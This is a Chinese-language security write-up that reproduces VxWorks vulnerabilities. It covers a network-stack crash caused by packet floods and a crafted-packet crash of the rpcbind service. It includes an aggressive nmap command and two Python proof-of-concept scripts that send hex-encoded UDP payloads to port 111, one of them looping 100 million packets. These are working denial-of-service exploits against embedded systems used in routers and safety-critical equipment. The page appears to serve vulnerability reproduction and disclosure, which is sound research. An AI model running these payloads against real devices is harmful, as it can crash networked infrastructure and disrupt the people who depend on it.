VxWorks漏洞复现

0x00 前言

关于VxWorks,这里引用44CON议题《攻击 VxWorks:从石器时代到星际》探究一文章中的介绍:

VxWorks 是世界上使用最广泛的一种在嵌入式系统中部署的实时操作系统,是由美国WindRiver公司(简称风河公司,即WRS 公司)于1983年设计开发的。其市场范围跨越所有的安全关键领域,仅举几例,包括火星好奇心流浪者、波音787梦幻客机、网络路由器。这些应用程序的安全高危性质使得VxWorks的安全被高度关注。
VxWorks操作系统是由美国Wind River(风河公司)开发的一种嵌入式实时操作系统(RTOS),已宣称拥有至少15亿台设备,VxWorks支持几乎所有现代市场上的嵌入式CPU架构,包括x86系列、MIPS、 PowerPC、Freescale ColdFire、Intel i960、SPARC、SH-4、ARM, StrongARM以及xScale CPU。

0x01 漏洞详情

网络栈问题

1、漏洞描述

部分5.x版本的VxWorks系统在短时间内接受到大量的网络数据包,会造成网络栈崩溃,导致VxWorks无法再与外界主机通信。在部分情况下,终端会给出错误信息,报错信息如下图:
image.png
但是需要注意的是:有的情况下漏洞触发成功而造成DOS攻击后,VxWorks终端并不会输出下面这串字符提示,但是此时VxWorks的网络栈已经崩溃,已无法再与外界通信,这一点可以通过持续ping来验证。如上错误提示一般会在收到的数据包量非常大的情况下才会出现。

interrupt: panic: netJobAdd: ring buffer overflow!

2、验证方式

  1. 执行nmap命令(可能需要执行多次) nmap -sU -p110-166 -r -T5 -n 192.168.102.88 ,其中192.168.102.88为运行VxWorks5.5版本的主机IP。

image.png

  1. 对tcp/21运行的FTP服务连续发送体积极大的FTP请求数据包。
  2. 也可用如下Python代码验证该问题:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import socket
    hvcost = "192.168.102.88"
    UDP_PAYLOAD = '\x72\xfe\x1d\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x01\x97\x7c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    def poc1(host, rpcPort=111, pktNum=6859):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for i in xrange(pktNum):
    sock.sendto(UDP_PAYLOAD, (hvcost, 111))
    def poc2(host, rpcPort=111, portNum=26):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for port in xrange(rpcPort, rpcPort+portNum+1):
    sock.sendto(UDP_PAYLOAD, (host, port))
    if __name__ == '__main__':
    import sys
    poc1(host=sys.argv[0], rpcPort=111, pktNum=100000000)
    #poc2(host=sys.argv[1], rpcPort=111, portNum=27)

rpcbind服务问题

1、漏洞描述

rpcbind服务是SUN-RPC的一部分,在VxWorks系统中该服务监听在tcp/111及udp/111端口,攻击者向该端口发送经过特殊构造的数据包,可使rpcbind服务崩溃,精心构造的请求可能可以造成任意代码执行,影响5.X和6.X版本。终端会给出错误信息,报错信息如下图:
image.png

2、验证方式

可用如下Python代码验证该漏洞:

1
2
3
4
5
6
7
8
9
import socket
PAYLOAD_HEX = 'cc6ff7e200000000000000020001a086000000040000000488888888000000110000001100001111111111111111111111111111'
#hvcost = "192.168.102.88"
def poc(host, rpcPort=111):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(PAYLOAD_HEX.decode('hex'), (host, rpcPort))
if __name__ == '__main__':
#import sys
poc(host="192.168.102.88", rpcPort=111)

0x03 参考资料

https://www.jianshu.com/p/d156809e0e64
https://www.freebuf.com/news/93201.html